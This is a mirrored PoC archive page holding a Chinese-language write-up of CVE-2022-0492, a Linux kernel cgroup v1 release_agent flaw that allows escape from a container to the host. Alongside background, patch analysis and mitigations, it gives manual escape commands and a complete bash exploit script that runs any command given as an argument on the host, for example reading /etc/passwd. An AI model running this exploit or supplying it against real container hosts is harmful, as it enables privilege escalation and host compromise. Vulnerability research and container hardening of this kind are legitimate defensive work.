Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-0492 PoC — Linux kernel 授权问题漏洞

Source
Associated Vulnerability
Title: Linux kernel 授权问题漏洞 (CVE-2022-0492)
Description:A vulnerability was found in the Linux kernel’s cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly.
Description
CVE-2022-0492 EXP and Analysis write up
Readme
# CVE-2022-0492 容器逃逸分析

[toc]

## 漏洞简介

漏洞编号: CVE-2022-0492

漏洞产品: linux kernel - cgroup

影响版本: ~linux kernel 5.17-rc3

漏洞危害: 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机

## 环境搭建

在存在漏洞版本的内核的linux中使用docker 即可。

```shell
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 
```

本文用docker 做为实验环境。

## 漏洞原理与相关知识

该漏洞的利用方法已经是[老面孔](https://www.freebuf.com/vuls/264843.html)了,不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验,导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限,该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。

### 漏洞发生点

分析补丁,patch 了`cgroup_release_agent_write` 函数,增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了:

![image-20220310201629995](img/image-20220310201629995.png)

所以确定该漏洞为失效的访问控制。

### cgroup 简介

cgroup 即Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU、内存、磁盘输入输出等)。

cgroup 有如下子系统:

1. `devices` 进程范围设备权限
2. `cpuset` 分配进程可使用的 CPU数和内存节点
3. `cpu` 控制CPU占有率
4. `cpuacct` 统计CPU使用情况,例如运行时间,throttled时间
5. memory 限制内存的使用上限
6. `freezer` 暂停 Cgroup 中的进程
7. `net_cls` 配合 tc(traffic controller)限制网络带宽
8. `net_prio` 设置进程的网络流量优先级
9. `huge_tlb` 限制 HugeTLB 的使用
10. `perf_event` 允许 Perf 工具基于 Cgroup 分组做性能检测

宿主机中的cgroup 都在`/sys/fs/cgroup` 下,可以看到各个cgroup 子系统:

![image-20220311113636040](img/image-20220311113636040.png)

docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点,docker中查看memory cgroup:

![image-20220311113811776](img/image-20220311113811776.png)

主机docker 目录中的对应容器名节点,一模一样:

![image-20220311113853019](img/image-20220311113853019.png)

#### cgroup 使用

cgroup 是通过文件系统的形势来使用的,通过`mount` 将cgroup 挂在到一个目录,cgroup 通过VFS虚拟文件系统和我们交互,cgroup 的接口通过文件的形势呈现,直接使用文件的操作方式对cgroup进行一些参数的设置。

```
mount -t cgroup -o memory cgroup /tmp/testcgroup
```

![image-20220311111853198](img/image-20220311111853198.png)

可以通过在目录下创建子目录来创建cgroup 子节点`mkdir /tmp/testcgroup/x`。

#### release_agent

cgroup的每一个subsystem都有参数`notify_on_release`,这个参数值是`Boolean`型,1或0。分别可以启动和禁用释放代理的指令。如果`notify_on_release`启用(为1),当cgroup不再包含任何任务时(即cgroup 中最后一个进程退出的时候,cgroup的`tasks`文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 `notify_on_release`的值。

![image-20220311114023546](img/image-20220311114023546.png)

漏洞发生就位于对release_agent 的修改,在原本只要可以操作cgroup 便可对release_agent 进行修改,而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过`unshare` 命令创建新的namespace可以获得全部的capbilities,那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多。

### unshare 命令

`unshare` 命令功能为取消指定的共享父进程中指定的命名空间,然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是,**`unshare` 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。**

![image-20220311102635204](img/image-20220311102635204.png)

## 漏洞利用

本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同,但利用条件有所区别。

### 利用条件

漏洞利用条件和传统release_agent 逃逸的利用条件区别是:

**传统release_agent**:容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。

**cve-2022-0492**:容器裸奔(更细化一点就是seccomp 不禁用`unshare`,apparmor 不开启cgroup只读,关闭selinux),获得容器内root 权限。**无需获得CAP_SYS_ADMIN** 。

值得一提的是,docker 的apparmor 默认会开启cgroup 只读,docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的`unshare`。k8s 默认通常是裸奔容器。总之由于利用比较容易,可以在具体场景尝试一下。

**漏洞修复后**:根据补丁的代码:

![image-20220310201629995](img/image-20220310201629995.png)

想要修改release_agent 文件需要具备两个条件:

1. 是根命名空间
2. 拥有CAP_SYS_ADMIN cap权限

所以在漏洞修复之后,通过`unshare` 获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了,因为使用`unshare `获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。

### 漏洞利用

#### 获得CAP_SYS_ADMIN

如果docker 启动中带有`--cap-add=SYS_ADMIN` 参数或`--privileged`(特权容器),则带有CAP_SYS_ADMIN权限,则不需要我们额外获取,如如下启动命令:

```sh
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 
```

带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令:

```sh
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 
```

没有CAP_SYS_ADMIN,通过如下`unshare` 命令获得CAP_SYS_ADMIN权限:

```shell
unshare -UrmC --propagation=unchanged bash 
```

新获得的命名空间拥有全部的capbilities权限。

![image-20220311102635204](img/image-20220311102635204.png)



#### mount cgroup与获取容器在宿主机中的路径 

将cgroup mount到一个目录,这一步由于用到了`mount `,所以需要CAP_SYS_ADMIN 权限,经过上一步,我们或自带CAP_SYS_ADMIN,要么已经通过`unshare` 获得了CAP_SYS_ADMIN。除此之外,我们还需要在刚`mount `的cgroup 中创建一个cgroup节点,方便后续我们做清空task 的操作:

```sh
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
```

**这里 memory 无法`mount` 或memory 中没有release_agent 可以换其他cgroup子系统。**

通过`/etc/mtab` 文件可以看到挂载的docker overlay文件系统信息,`upperdir` 就是容器根目录在宿主机上的绝对路径:

![image-20220311104701790](img/image-20220311104701790.png)

通过如下命令可以获取:

```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
```

#### 修改release_agent 触发逃逸

将`notify_on_release`设置为1,开启task 进程清空后执行release_agent功能:

```sh
echo 1 > /tmp/testcgroup/x/notify_no_release
```

创建release_agent 触发时执行的文件:

```sh
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd
```

修改release_agent ,指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径):

```sh
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
```

接下来向x cgroup 节点中输入一个任务,将自己所属的sh 的pid 写入cgroup.procs。

```sh
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"
```

sh 命令只执行了一个`echo` 指令,一瞬间就会结束,那么x cgroup 节点中就没有任何任务了,触发`notify_on_release` 执行 release_agent 指向的`/cmd` 文件,内核触发,在容器外执行我们指定的命令,完成逃逸。逃逸成功:

![image-20220311110810458](img/image-20220311110810458.png)

### exp

根据流程写了个exp:

```shell
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir
```

直接运行,接一个你想逃逸执行的命令作为参数:如:`./exp.sh "cat /etc/passwd"`

逃逸成功:

![image-20220311153511050](img/image-20220311153511050.png)

## 缓解措施

docker 默认状态是开启seccomp 和apparmor 的,漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施,需要手动开启seccomp 和apparmor 或selinux。

## 参考

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

除此之外还问了参与挖这个漏洞的人
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →